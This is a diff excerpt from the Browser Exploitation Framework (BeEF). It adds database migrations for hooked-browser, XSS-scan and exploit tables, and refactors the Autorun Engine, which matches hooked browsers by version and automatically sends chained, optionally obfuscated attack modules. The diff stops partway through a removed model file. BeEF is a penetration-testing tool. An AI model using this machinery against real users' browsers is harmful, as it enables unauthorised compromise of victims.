class CreateRtcStatus < ActiveRecord::Migration[6.0]
|
||||
def change
|
||||
create_table :rtc_statuss do |t|
|
||||
t.references :hooked_browser
|
||||
t.integer :target_hooked_browser_id
|
||||
t.text :status
|
||||
end
|
||||
end
|
||||
end
|
||||
9
core/main/ar-migrations/017_create_rtc_manage.rb
Normal file
9
core/main/ar-migrations/017_create_rtc_manage.rb
Normal file
@@ -0,0 +1,9 @@
|
||||
class CreateRtcManage < ActiveRecord::Migration[6.0]
|
||||
def change
|
||||
create_table :rtc_manages do |t|
|
||||
t.references :hooked_browser
|
||||
t.text :message
|
||||
t.text :has_sent, default: 'waiting'
|
||||
end
|
||||
end
|
||||
end
|
||||
10
core/main/ar-migrations/018_create_rtc_signal.rb
Normal file
10
core/main/ar-migrations/018_create_rtc_signal.rb
Normal file
@@ -0,0 +1,10 @@
|
||||
class CreateRtcSignal < ActiveRecord::Migration[6.0]
|
||||
def change
|
||||
create_table :rtc_signals do |t|
|
||||
t.references :hooked_browser
|
||||
t.integer :target_hooked_browser_id
|
||||
t.text :signal
|
||||
t.text :has_sent, default: 'waiting'
|
||||
end
|
||||
end
|
||||
end
|
||||
10
core/main/ar-migrations/019_create_rtc_module_status.rb
Normal file
10
core/main/ar-migrations/019_create_rtc_module_status.rb
Normal file
@@ -0,0 +1,10 @@
|
||||
class CreateRtcModuleStatus < ActiveRecord::Migration[6.0]
|
||||
def change
|
||||
create_table :rtc_module_statuss do |t|
|
||||
t.references :hooked_browser
|
||||
t.references :command_module
|
||||
t.integer :target_hooked_browser_id
|
||||
t.text :status
|
||||
end
|
||||
end
|
||||
end
|
||||
10
core/main/ar-migrations/020_create_xssrays_detail.rb
Normal file
10
core/main/ar-migrations/020_create_xssrays_detail.rb
Normal file
@@ -0,0 +1,10 @@
|
||||
class CreateXssraysDetail < ActiveRecord::Migration[6.0]
|
||||
def change
|
||||
create_table :xssraysdetails do |t|
|
||||
t.references :hooked_browser
|
||||
t.text :vector_name
|
||||
t.text :vector_method
|
||||
t.text :vector_poc
|
||||
end
|
||||
end
|
||||
end
|
||||
10
core/main/ar-migrations/021_create_dns_rule.rb
Normal file
10
core/main/ar-migrations/021_create_dns_rule.rb
Normal file
@@ -0,0 +1,10 @@
|
||||
class CreateDnsRule < ActiveRecord::Migration[6.0]
|
||||
def change
|
||||
create_table :dns_rules do |t|
|
||||
t.text :pattern
|
||||
t.text :resource
|
||||
t.text :response
|
||||
t.text :callback
|
||||
end
|
||||
end
|
||||
end
|
||||
9
core/main/ar-migrations/022_create_ipec_exploit.rb
Normal file
9
core/main/ar-migrations/022_create_ipec_exploit.rb
Normal file
@@ -0,0 +1,9 @@
|
||||
class CreateIpecExploit < ActiveRecord::Migration[6.0]
|
||||
def change
|
||||
create_table :ipec_exploits do |t|
|
||||
t.text :name
|
||||
t.text :protocol
|
||||
t.text :os
|
||||
end
|
||||
end
|
||||
end
|
||||
9
core/main/ar-migrations/023_create_ipec_exploit_run.rb
Normal file
9
core/main/ar-migrations/023_create_ipec_exploit_run.rb
Normal file
@@ -0,0 +1,9 @@
|
||||
class CreateIpecExploitRun < ActiveRecord::Migration[6.0]
|
||||
def change
|
||||
create_table :ipec_exploit_runs do |t|
|
||||
t.boolean :launched
|
||||
t.text :http_headers
|
||||
t.text :junk_size
|
||||
end
|
||||
end
|
||||
end
|
||||
8
core/main/ar-migrations/024_create_autoloader.rb
Normal file
8
core/main/ar-migrations/024_create_autoloader.rb
Normal file
@@ -0,0 +1,8 @@
|
||||
class CreateAutoloader < ActiveRecord::Migration[6.0]
|
||||
def change
|
||||
create_table :autoloaders do |t|
|
||||
t.references :command
|
||||
t.boolean :in_use
|
||||
end
|
||||
end
|
||||
end
|
||||
14
core/main/ar-migrations/025_create_xssrays_scan.rb
Normal file
14
core/main/ar-migrations/025_create_xssrays_scan.rb
Normal file
@@ -0,0 +1,14 @@
|
||||
class CreateXssraysScan < ActiveRecord::Migration[6.0]
|
||||
def change
|
||||
create_table :xssraysscans do |t|
|
||||
t.references :hooked_browser
|
||||
t.datetime :scan_start
|
||||
t.datetime :scan_finish
|
||||
t.text :domain
|
||||
t.text :cross_domain
|
||||
t.integer :clean_timeout
|
||||
t.boolean :is_started
|
||||
t.boolean :is_finished
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,14 +1,12 @@
|
||||
#
|
||||
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Core
|
||||
module AutorunEngine
|
||||
|
||||
class Engine
|
||||
|
||||
include Singleton
|
||||
|
||||
def initialize
|
||||
@@ -20,8 +18,8 @@ module BeEF
|
||||
|
||||
@debug_on = @config.get('beef.debug')
|
||||
|
||||
@VERSION = ['<','<=','==','>=','>','ALL']
|
||||
@VERSION_STR = ['XP','Vista']
|
||||
@VERSION = ['<', '<=', '==', '>=', '>', 'ALL']
|
||||
@VERSION_STR = %w[XP Vista]
|
||||
end
|
||||
|
||||
# Check if the hooked browser type/version and OS type/version match any Rule-sets
|
||||
@@ -30,44 +28,42 @@ module BeEF
|
||||
def run(hb_id, browser_name, browser_version, os_name, os_version)
|
||||
are = BeEF::Core::AutorunEngine::Engine.instance
|
||||
match_rules = are.match(browser_name, browser_version, os_name, os_version)
|
||||
are.trigger(match_rules, hb_id) if match_rules !=nil && match_rules.length > 0
|
||||
are.trigger(match_rules, hb_id) if !match_rules.nil? && match_rules.length > 0
|
||||
end
|
||||
|
||||
# Prepare and return the JavaScript of the modules to be sent.
|
||||
# It also updates the rules ARE execution table with timings
|
||||
def trigger(rule_ids, hb_id)
|
||||
|
||||
hb = BeEF::HBManager.get_by_id(hb_id)
|
||||
hb_session = hb.session
|
||||
|
||||
rule_ids.each do |rule_id|
|
||||
rule = BeEF::Core::AutorunEngine::Models::Rule.get(rule_id)
|
||||
rule = BeEF::Core::Models::Rule.find(rule_id)
|
||||
modules = JSON.parse(rule.modules)
|
||||
|
||||
execution_order = JSON.parse(rule.execution_order)
|
||||
execution_delay = JSON.parse(rule.execution_delay)
|
||||
chain_mode = rule.chain_mode
|
||||
|
||||
mods_bodies = Array.new
|
||||
mods_codes = Array.new
|
||||
mods_conditions = Array.new
|
||||
mods_bodies = []
|
||||
mods_codes = []
|
||||
mods_conditions = []
|
||||
|
||||
# this ensures that if both rule A and rule B call the same module in sequential mode,
|
||||
# execution will be correct preventing wrapper functions to be called with equal names.
|
||||
rule_token = SecureRandom.hex(5)
|
||||
|
||||
modules.each do |cmd_mod|
|
||||
mod = BeEF::Core::Models::CommandModule.first(:name => cmd_mod['name'])
|
||||
mod = BeEF::Core::Models::CommandModule.where(name: cmd_mod['name']).first
|
||||
options = []
|
||||
replace_input = false
|
||||
cmd_mod['options'].each do|k,v|
|
||||
options.push({'name' => k, 'value' => v})
|
||||
cmd_mod['options'].each do |k, v|
|
||||
options.push({ 'name' => k, 'value' => v })
|
||||
replace_input = true if v == '<<mod_input>>'
|
||||
end
|
||||
|
||||
command_body = prepare_command(mod, options, hb_id, replace_input, rule_token)
|
||||
|
||||
|
||||
mods_bodies.push(command_body)
|
||||
mods_codes.push(cmd_mod['code'])
|
||||
mods_conditions.push(cmd_mod['condition'])
|
||||
@@ -75,32 +71,31 @@ module BeEF
|
||||
|
||||
# Depending on the chosen chain mode (sequential or nested/forward), prepare the appropriate wrapper
|
||||
case chain_mode
|
||||
when 'nested-forward'
|
||||
wrapper = prepare_nested_forward_wrapper(mods_bodies, mods_codes, mods_conditions, execution_order, rule_token)
|
||||
when 'sequential'
|
||||
wrapper = prepare_sequential_wrapper(mods_bodies, execution_order, execution_delay, rule_token)
|
||||
else
|
||||
wrapper = nil
|
||||
print_error "Chain mode looks wrong!"
|
||||
# TODO catch error, which should never happen as values are checked way before ;-)
|
||||
when 'nested-forward'
|
||||
wrapper = prepare_nested_forward_wrapper(mods_bodies, mods_codes, mods_conditions, execution_order, rule_token)
|
||||
when 'sequential'
|
||||
wrapper = prepare_sequential_wrapper(mods_bodies, execution_order, execution_delay, rule_token)
|
||||
else
|
||||
wrapper = nil
|
||||
print_error 'Chain mode looks wrong!'
|
||||
# TODO: catch error, which should never happen as values are checked way before ;-)
|
||||
end
|
||||
|
||||
are_exec = BeEF::Core::AutorunEngine::Models::Execution.new(
|
||||
:session => hb_session,
|
||||
:mod_count => modules.length,
|
||||
:mod_successful => 0,
|
||||
:rule_token => rule_token,
|
||||
:mod_body => wrapper,
|
||||
:is_sent => false,
|
||||
:rule_id => rule_id
|
||||
are_exec = BeEF::Core::Models::Execution.new(
|
||||
session_id: hb_session,
|
||||
mod_count: modules.length,
|
||||
mod_successful: 0,
|
||||
rule_token: rule_token,
|
||||
mod_body: wrapper,
|
||||
is_sent: false,
|
||||
id: rule_id
|
||||
)
|
||||
are_exec.save
|
||||
are_exec.save!
|
||||
# Once Engine.check() verified that the hooked browser match a Rule, trigger the Rule ;-)
|
||||
print_more "Triggering ruleset #{rule_ids.to_s} on HB #{hb_id}"
|
||||
print_more "Triggering ruleset #{rule_ids} on HB #{hb_id}"
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Wraps module bodies in their own function, using setTimeout to trigger them with an eventual delay.
|
||||
# Launch order is also taken care of.
|
||||
# - sequential chain with delays (setTimeout stuff)
|
||||
@@ -114,7 +109,7 @@ module BeEF
|
||||
delayed_exec = ''
|
||||
c = 0
|
||||
while c < mods.length
|
||||
delayed_exec += %Q| setTimeout(function(){#{mods[order[c]][:mod_name]}_#{rule_token}();}, #{delay[c]}); |
|
||||
delayed_exec += %| setTimeout(function(){#{mods[order[c]][:mod_name]}_#{rule_token}();}, #{delay[c]}); |
|
||||
mod_body = mods[order[c]][:mod_body].to_s.gsub("#{mods[order[c]][:mod_name]}_mod_output", "#{mods[order[c]][:mod_name]}_#{rule_token}_mod_output")
|
||||
wrapped_mod = "#{mod_body}\n"
|
||||
wrapper += wrapped_mod
|
||||
@@ -141,16 +136,17 @@ module BeEF
|
||||
# if the first once return with success. Also, the second module has the possibility of mangling first
|
||||
# module output and use it as input for some of its module inputs.
|
||||
def prepare_nested_forward_wrapper(mods, code, conditions, order, rule_token)
|
||||
wrapper, delayed_exec = '',''
|
||||
delayed_exec_footers = Array.new
|
||||
wrapper = ''
|
||||
delayed_exec = ''
|
||||
delayed_exec_footers = []
|
||||
c = 0
|
||||
|
||||
while c < mods.length
|
||||
if mods.length == 1
|
||||
i = c
|
||||
else
|
||||
i = c + 1
|
||||
end
|
||||
i = if mods.length == 1
|
||||
c
|
||||
else
|
||||
c + 1
|
||||
end
|
||||
|
||||
code_snippet = ''
|
||||
mod_input = ''
|
||||
@@ -159,11 +155,11 @@ module BeEF
|
||||
mod_input = 'mod_input'
|
||||
end
|
||||
|
||||
conditions[i] = true if conditions[i] == nil || conditions[i] == ''
|
||||
conditions[i] = true if conditions[i].nil? || conditions[i] == ''
|
||||
|
||||
if c == 0
|
||||
# this is the first wrapper to prepare
|
||||
delayed_exec += %Q|
|
||||
delayed_exec += %|
|
||||
function #{mods[order[c]][:mod_name]}_#{rule_token}_f(){
|
||||
#{mods[order[c]][:mod_name]}_#{rule_token}();
|
||||
|
||||
@@ -185,7 +181,7 @@ module BeEF
|
||||
#{mods[order[c]][:mod_name]}_#{rule_token}_mod_output = mod_result[1];
|
||||
|
|
||||
|
||||
delayed_exec_footer = %Q|
|
||||
delayed_exec_footer = %|
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -198,10 +194,10 @@ module BeEF
|
||||
delayed_exec_footers.push(delayed_exec_footer)
|
||||
|
||||
elsif c < mods.length - 1
|
||||
code_snippet = code_snippet.to_s.gsub(mods[order[c-1]][:mod_name], "#{mods[order[c-1]][:mod_name]}_#{rule_token}")
|
||||
code_snippet = code_snippet.to_s.gsub(mods[order[c - 1]][:mod_name], "#{mods[order[c - 1]][:mod_name]}_#{rule_token}")
|
||||
|
||||
# this is one of the wrappers in the middle of the chain
|
||||
delayed_exec += %Q|
|
||||
delayed_exec += %|
|
||||
function #{mods[order[c]][:mod_name]}_#{rule_token}_f(){
|
||||
if(#{mods[order[c]][:mod_name]}_#{rule_token}_can_exec){
|
||||
#{code_snippet}
|
||||
@@ -223,7 +219,7 @@ module BeEF
|
||||
#{mods[order[c]][:mod_name]}_#{rule_token}_mod_output = mod_result[1];
|
||||
|
|
||||
|
||||
delayed_exec_footer = %Q|
|
||||
delayed_exec_footer = %|
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -236,9 +232,9 @@ module BeEF
|
||||
|
||||
delayed_exec_footers.push(delayed_exec_footer)
|
||||
else
|
||||
code_snippet = code_snippet.to_s.gsub(mods[order[c-1]][:mod_name], "#{mods[order[c-1]][:mod_name]}_#{rule_token}")
|
||||
code_snippet = code_snippet.to_s.gsub(mods[order[c - 1]][:mod_name], "#{mods[order[c - 1]][:mod_name]}_#{rule_token}")
|
||||
# this is the last wrapper to prepare
|
||||
delayed_exec += %Q|
|
||||
delayed_exec += %|
|
||||
function #{mods[order[c]][:mod_name]}_#{rule_token}_f(){
|
||||
if(#{mods[order[c]][:mod_name]}_#{rule_token}_can_exec){
|
||||
#{code_snippet}
|
||||
@@ -258,7 +254,6 @@ module BeEF
|
||||
wrapper
|
||||
end
|
||||
|
||||
|
||||
# prepare the command module (compiling the Erubis templating stuff), eventually obfuscate it,
|
||||
# and store it in the database.
|
||||
# Returns the raw module body after template substitution.
|
||||
@@ -266,16 +261,16 @@ module BeEF
|
||||
config = BeEF::Core::Configuration.instance
|
||||
begin
|
||||
command = BeEF::Core::Models::Command.new(
|
||||
:data => options.to_json,
|
||||
:hooked_browser_id => hb_id,
|
||||
:command_module_id => BeEF::Core::Configuration.instance.get("beef.module.#{mod.name}.db.id"),
|
||||
:creationdate => Time.new.to_i,
|
||||
:instructions_sent => true
|
||||
data: options.to_json,
|
||||
hooked_browser_id: hb_id,
|
||||
command_module_id: BeEF::Core::Configuration.instance.get("beef.module.#{mod.name}.db.id"),
|
||||
creationdate: Time.new.to_i,
|
||||
instructions_sent: true
|
||||
)
|
||||
command.save
|
||||
command.save!
|
||||
|
||||
command_module = BeEF::Core::Models::CommandModule.first(:id => mod.id)
|
||||
if (command_module.path.match(/^Dynamic/))
|
||||
command_module = BeEF::Core::Models::CommandModule.find(mod.id)
|
||||
if command_module.path.match(/^Dynamic/)
|
||||
# metasploit and similar integrations
|
||||
command_module = BeEF::Modules::Commands.const_get(command_module.path.split('/').last.capitalize).new
|
||||
else
|
||||
@@ -293,18 +288,18 @@ module BeEF
|
||||
|
||||
build_missing_beefjs_components(command_module.beefjs_components) unless command_module.beefjs_components.empty?
|
||||
|
||||
if config.get("beef.extension.evasion.enable")
|
||||
if config.get('beef.extension.evasion.enable')
|
||||
evasion = BeEF::Extension::Evasion::Evasion.instance
|
||||
command_body = evasion.obfuscate(command_module.output) + "\n\n"
|
||||
else
|
||||
command_body = command_module.output + "\n\n"
|
||||
command_body = command_module.output + "\n\n"
|
||||
end
|
||||
|
||||
# @note prints the event to the console
|
||||
print_more "Preparing JS for command id [#{command.id}], module [#{mod.name}]"
|
||||
|
||||
replace_input ? mod_input = 'mod_input' : mod_input = ''
|
||||
result = %Q|
|
||||
mod_input = replace_input ? 'mod_input' : ''
|
||||
result = %|
|
||||
var #{mod.name}_#{rule_token} = function(#{mod_input}){
|
||||
#{clean_command_body(command_body, replace_input)}
|
||||
};
|
||||
@@ -312,8 +307,8 @@ module BeEF
|
||||
var #{mod.name}_#{rule_token}_mod_output = null;
|
||||
|
|
||||
|
||||
return {:mod_name => mod.name, :mod_body => result}
|
||||
rescue => e
|
||||
{ mod_name: mod.name, mod_body: result }
|
||||
rescue StandardError => e
|
||||
print_error e.message
|
||||
print_debug e.backtrace.join("\n")
|
||||
end
|
||||
@@ -324,56 +319,47 @@ module BeEF
|
||||
#
|
||||
# Also replace <<mod_input>> with mod_input variable if needed for chaining module output/input
|
||||
def clean_command_body(command_body, replace_input)
|
||||
begin
|
||||
cmd_body = command_body.lines.map(&:chomp)
|
||||
wrapper_start_index,wrapper_end_index = nil
|
||||
cmd_body = command_body.lines.map(&:chomp)
|
||||
wrapper_start_index, wrapper_end_index = nil
|
||||
|
||||
cmd_body.each_with_index do |line, index|
|
||||
if line.to_s =~ /^(beef|[a-zA-Z]+)\.execute\(function\(\)/
|
||||
wrapper_start_index = index
|
||||
break
|
||||
end
|
||||
end
|
||||
if wrapper_start_index.nil?
|
||||
print_error "[ARE] Could not find module start index"
|
||||
cmd_body.each_with_index do |line, index|
|
||||
if line.to_s =~ /^(beef|[a-zA-Z]+)\.execute\(function\(\)/
|
||||
wrapper_start_index = index
|
||||
break
|
||||
end
|
||||
end
|
||||
print_error '[ARE] Could not find module start index' if wrapper_start_index.nil?
|
||||
|
||||
cmd_body.reverse.each_with_index do |line, index|
|
||||
if line.include?('});')
|
||||
wrapper_end_index = index
|
||||
break
|
||||
end
|
||||
end
|
||||
if wrapper_end_index.nil?
|
||||
print_error "[ARE] Could not find module end index"
|
||||
cmd_body.reverse.each_with_index do |line, index|
|
||||
if line.include?('});')
|
||||
wrapper_end_index = index
|
||||
break
|
||||
end
|
||||
end
|
||||
print_error '[ARE] Could not find module end index' if wrapper_end_index.nil?
|
||||
|
||||
cleaned_cmd_body = cmd_body.slice(wrapper_start_index..-(wrapper_end_index+1)).join("\n")
|
||||
if cleaned_cmd_body.eql?('')
|
||||
print_error "[ARE] No command to send"
|
||||
end
|
||||
cleaned_cmd_body = cmd_body.slice(wrapper_start_index..-(wrapper_end_index + 1)).join("\n")
|
||||
print_error '[ARE] No command to send' if cleaned_cmd_body.eql?('')
|
||||
|
||||
# check if <<mod_input>> should be replaced with a variable name (depending if the variable is a string or number)
|
||||
if replace_input
|
||||
if cleaned_cmd_body.include?('"<<mod_input>>"')
|
||||
final_cmd_body = cleaned_cmd_body.gsub('"<<mod_input>>"','mod_input')
|
||||
elsif cleaned_cmd_body.include?('\'<<mod_input>>\'')
|
||||
final_cmd_body = cleaned_cmd_body.gsub('\'<<mod_input>>\'','mod_input')
|
||||
elsif cleaned_cmd_body.include?('<<mod_input>>')
|
||||
final_cmd_body = cleaned_cmd_body.gsub('\'<<mod_input>>\'','mod_input')
|
||||
else
|
||||
return cleaned_cmd_body
|
||||
end
|
||||
return final_cmd_body
|
||||
# check if <<mod_input>> should be replaced with a variable name (depending if the variable is a string or number)
|
||||
if replace_input
|
||||
if cleaned_cmd_body.include?('"<<mod_input>>"')
|
||||
final_cmd_body = cleaned_cmd_body.gsub('"<<mod_input>>"', 'mod_input')
|
||||
elsif cleaned_cmd_body.include?('\'<<mod_input>>\'')
|
||||
final_cmd_body = cleaned_cmd_body.gsub('\'<<mod_input>>\'', 'mod_input')
|
||||
elsif cleaned_cmd_body.include?('<<mod_input>>')
|
||||
final_cmd_body = cleaned_cmd_body.gsub('\'<<mod_input>>\'', 'mod_input')
|
||||
else
|
||||
return cleaned_cmd_body
|
||||
end
|
||||
rescue => e
|
||||
print_error "[ARE] There is likely a problem with the module's command.js parsing. Check Engine.clean_command_body"
|
||||
final_cmd_body
|
||||
else
|
||||
cleaned_cmd_body
|
||||
end
|
||||
rescue StandardError => e
|
||||
print_error "[ARE] There is likely a problem with the module's command.js parsing. Check Engine.clean_command_body. #{e.message}"
|
||||
end
|
||||
|
||||
|
||||
# Checks if there are any ARE rules to be triggered for the specified hooked browser
|
||||
#
|
||||
# Note: browser version checks are supporting only major versions, ex: C 43, IE 11
|
||||
@@ -382,105 +368,119 @@ module BeEF
|
||||
# Returns an array with rule IDs that matched and should be triggered.
|
||||
# if rule_id is specified, checks will be executed only against the specified rule (useful
|
||||
# for dynamic triggering of new rulesets ar runtime)
|
||||
def match(browser, browser_version, os, os_version, rule_id=nil)
|
||||
def match(browser, browser_version, os, os_version, rule_id = nil)
|
||||
match_rules = []
|
||||
if rule_id != nil
|
||||
rules = [BeEF::Core::AutorunEngine::Models::Rule.get(rule_id)]
|
||||
else
|
||||
rules = BeEF::Core::AutorunEngine::Models::Rule.all()
|
||||
end
|
||||
return nil if rules == nil
|
||||
rules = if rule_id.nil?
|
||||
BeEF::Core::Models::Rule.all
|
||||
else
|
||||
[BeEF::Core::Models::Rule.find(rule_id)]
|
||||
end
|
||||
return nil if rules.nil?
|
||||
return nil unless rules.length > 0
|
||||
|
||||
print_info "[ARE] Checking if any defined rules should be triggered on target."
|
||||
# TODO handle cases where there are multiple ARE rules for the same hooked browser.
|
||||
print_info '[ARE] Checking if any defined rules should be triggered on target.'
|
||||
# TODO: handle cases where there are multiple ARE rules for the same hooked browser.
|
||||
# TODO the above works well, but maybe rules need to have priority or something?
|
||||
rules.each do |rule|
|
||||
begin
|
||||
browser_match, os_match = false, false
|
||||
browser_match = false
|
||||
os_match = false
|
||||
|
||||
b_ver_cond = rule.browser_version.split(' ').first
|
||||
b_ver = rule.browser_version.split(' ').last
|
||||
b_ver_cond = rule.browser_version.split(' ').first
|
||||
b_ver = rule.browser_version.split(' ').last
|
||||
|
||||
os_ver_rule_cond = rule.os_version.split(' ').first
|
||||
os_ver_rule_maj = rule.os_version.split(' ').last.split('.').first
|
||||
os_ver_rule_min = rule.os_version.split(' ').last.split('.').last
|
||||
os_ver_rule_cond = rule.os_version.split(' ').first
|
||||
os_ver_rule_maj = rule.os_version.split(' ').last.split('.').first
|
||||
os_ver_rule_min = rule.os_version.split(' ').last.split('.').last
|
||||
|
||||
# Most of the times Linux/*BSD OS doesn't return any version
|
||||
# (TODO: improve OS detection on these operating systems)
|
||||
if os_version != nil && !@VERSION_STR.include?(os_version)
|
||||
os_ver_hook_maj = os_version.split('.').first
|
||||
os_ver_hook_min = os_version.split('.').last
|
||||
# Most of the times Linux/*BSD OS doesn't return any version
|
||||
# (TODO: improve OS detection on these operating systems)
|
||||
if !os_version.nil? && !@VERSION_STR.include?(os_version)
|
||||
os_ver_hook_maj = os_version.split('.').first
|
||||
os_ver_hook_min = os_version.split('.').last
|
||||
|
||||
# the following assignments to 0 are need for later checks like:
|
||||
# 8.1 >= 7, because if the version doesn't have minor versions, maj/min are the same
|
||||
os_ver_hook_min = 0 if os_version.split('.').length == 1
|
||||
os_ver_rule_min = 0 if rule.os_version.split('.').length == 1
|
||||
else
|
||||
# most probably Windows XP or Vista. the following is a hack as Microsoft had the brilliant idea
|
||||
# to switch from strings to numbers in OS versioning. To prevent rewriting code later on,
|
||||
# we say that XP is Windows 5.0 and Vista is Windows 6.0. Easier for comparison later on.
|
||||
os_ver_hook_maj, os_ver_hook_min = 5, 0 if os_version == 'XP'
|
||||
os_ver_hook_maj, os_ver_hook_min = 6, 0 if os_version == 'Vista'
|
||||
# the following assignments to 0 are need for later checks like:
|
||||
# 8.1 >= 7, because if the version doesn't have minor versions, maj/min are the same
|
||||
os_ver_hook_min = 0 if os_version.split('.').length == 1
|
||||
os_ver_rule_min = 0 if rule.os_version.split('.').length == 1
|
||||
else
|
||||
# most probably Windows XP or Vista. the following is a hack as Microsoft had the brilliant idea
|
||||
# to switch from strings to numbers in OS versioning. To prevent rewriting code later on,
|
||||
# we say that XP is Windows 5.0 and Vista is Windows 6.0. Easier for comparison later on.
|
||||
if os_version == 'XP'
|
||||
os_ver_hook_maj = 5
|
||||
os_ver_hook_min = 0
|
||||
end
|
||||
|
||||
os_ver_rule_maj, os_ver_rule_min = 5, 0 if os_ver_rule_maj == 'XP'
|
||||
os_ver_rule_maj, os_ver_rule_min = 6, 0 if os_ver_rule_maj == 'Vista'
|
||||
|
||||
next unless @VERSION.include?(b_ver_cond)
|
||||
next unless BeEF::Filters::is_valid_browserversion?(b_ver)
|
||||
|
||||
next unless @VERSION.include?(os_ver_rule_cond) || @VERSION_STR.include?(os_ver_rule_cond)
|
||||
# os_ver without checks as it can be very different or even empty, for instance on linux/bsd)
|
||||
|
||||
# skip rule unless the browser matches
|
||||
browser_match = false
|
||||
# check if rule specifies multiple browsers
|
||||
if rule.browser !~ /\A[A-Z]+\Z/
|
||||
rule.browser.gsub(/[^A-Z,]/i, '').split(',').each do |b|
|
||||
browser_match = true if b == browser || b == 'ALL'
|
||||
end
|
||||
# else, only one browser
|
||||
else
|
||||
next unless rule.browser == 'ALL' || browser == rule.browser
|
||||
# check if the browser version matches
|
||||
browser_version_match = compare_versions(browser_version.to_s, b_ver_cond, b_ver.to_s)
|
||||
if browser_version_match
|
||||
browser_match = true
|
||||
else
|
||||
browser_match = false
|
||||
end
|
||||
print_more "Browser version check -> (hook) #{browser_version} #{rule.browser_version} (rule) : #{browser_version_match}"
|
||||
if os_version == 'Vista'
|
||||
os_ver_hook_maj = 6
|
||||
os_ver_hook_min = 0
|
||||
end
|
||||
next unless browser_match
|
||||
|
||||
# skip rule unless the OS matches
|
||||
next unless rule.os == 'ALL' || os == rule.os
|
||||
|
||||
# check if the OS versions match
|
||||
if os_version != nil || rule.os_version != 'ALL'
|
||||
os_major_version_match = compare_versions(os_ver_hook_maj.to_s, os_ver_rule_cond, os_ver_rule_maj.to_s)
|
||||
os_minor_version_match = compare_versions(os_ver_hook_min.to_s, os_ver_rule_cond, os_ver_rule_min.to_s)
|
||||
else
|
||||
# os_version_match = true if (browser doesn't return an OS version || rule OS version is ALL )
|
||||
os_major_version_match, os_minor_version_match = true, true
|
||||
end
|
||||
|
||||
os_match = true if os_ver_rule_cond == 'ALL' || (os_major_version_match && os_minor_version_match)
|
||||
print_more "OS version check -> (hook) #{os_version} #{rule.os_version} (rule): #{os_major_version_match && os_minor_version_match}"
|
||||
|
||||
if browser_match && os_match
|
||||
print_more "Hooked browser and OS type/version MATCH rule: #{rule.name}."
|
||||
match_rules.push(rule.id)
|
||||
end
|
||||
rescue => e
|
||||
print_error e.message
|
||||
print_debug e.backtrace.join("\n")
|
||||
end
|
||||
|
||||
if os_ver_rule_maj == 'XP'
|
||||
os_ver_rule_maj = 5
|
||||
os_ver_rule_min = 0
|
||||
end
|
||||
if os_ver_rule_maj == 'Vista'
|
||||
os_ver_rule_maj = 6
|
||||
os_ver_rule_min = 0
|
||||
end
|
||||
|
||||
next unless @VERSION.include?(b_ver_cond)
|
||||
next unless BeEF::Filters.is_valid_browserversion?(b_ver)
|
||||
|
||||
next unless @VERSION.include?(os_ver_rule_cond) || @VERSION_STR.include?(os_ver_rule_cond)
|
||||
|
||||
# os_ver without checks as it can be very different or even empty, for instance on linux/bsd)
|
||||
|
||||
# skip rule unless the browser matches
|
||||
browser_match = false
|
||||
# check if rule specifies multiple browsers
|
||||
if rule.browser =~ /\A[A-Z]+\Z/
|
||||
next unless rule.browser == 'ALL' || browser == rule.browser
|
||||
|
||||
# check if the browser version matches
|
||||
browser_version_match = compare_versions(browser_version.to_s, b_ver_cond, b_ver.to_s)
|
||||
browser_match = if browser_version_match
|
||||
true
|
||||
else
|
||||
false
|
||||
end
|
||||
print_more "Browser version check -> (hook) #{browser_version} #{rule.browser_version} (rule) : #{browser_version_match}"
|
||||
else
|
||||
rule.browser.gsub(/[^A-Z,]/i, '').split(',').each do |b|
|
||||
browser_match = true if b == browser || b == 'ALL'
|
||||
end
|
||||
# else, only one browser
|
||||
end
|
||||
next unless browser_match
|
||||
|
||||
# skip rule unless the OS matches
|
||||
next unless rule.os == 'ALL' || os == rule.os
|
||||
|
||||
# check if the OS versions match
|
||||
if !os_version.nil? || rule.os_version != 'ALL'
|
||||
os_major_version_match = compare_versions(os_ver_hook_maj.to_s, os_ver_rule_cond, os_ver_rule_maj.to_s)
|
||||
os_minor_version_match = compare_versions(os_ver_hook_min.to_s, os_ver_rule_cond, os_ver_rule_min.to_s)
|
||||
else
|
||||
# os_version_match = true if (browser doesn't return an OS version || rule OS version is ALL )
|
||||
os_major_version_match = true
|
||||
os_minor_version_match = true
|
||||
end
|
||||
|
||||
os_match = true if os_ver_rule_cond == 'ALL' || (os_major_version_match && os_minor_version_match)
|
||||
print_more "OS version check -> (hook) #{os_version} #{rule.os_version} (rule): #{os_major_version_match && os_minor_version_match}"
|
||||
|
||||
if browser_match && os_match
|
||||
print_more "Hooked browser and OS type/version MATCH rule: #{rule.name}."
|
||||
match_rules.push(rule.id)
|
||||
end
|
||||
rescue StandardError => e
|
||||
print_error e.message
|
||||
print_debug e.backtrace.join("\n")
|
||||
end
|
||||
print_more "Found [#{match_rules.length}/#{rules.length}] ARE rules matching the hooked browser type/version."
|
||||
|
||||
return match_rules
|
||||
match_rules
|
||||
end
|
||||
|
||||
# compare versions
|
||||
@@ -491,7 +491,8 @@ module BeEF
|
||||
return true if cond == '<' && ver_a < ver_b
|
||||
return true if cond == '>=' && ver_a >= ver_b
|
||||
return true if cond == '>' && ver_a > ver_b
|
||||
return false
|
||||
|
||||
false
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,31 +0,0 @@
|
||||
#
|
||||
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
module BeEF
|
||||
module Core
|
||||
module AutorunEngine
|
||||
module Models
|
||||
# @note Stored info about the execution of the ARE on hooked browsers.
|
||||
class Execution
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'core_areexecution'
|
||||
|
||||
property :id, Serial
|
||||
property :session, Text # hooked browser session where a ruleset triggered
|
||||
property :mod_count, Integer # number of command modules of the ruleset
|
||||
property :mod_successful, Integer # number of command modules that returned with success
|
||||
# By default Text is only 65K, so field length increased to 1 MB
|
||||
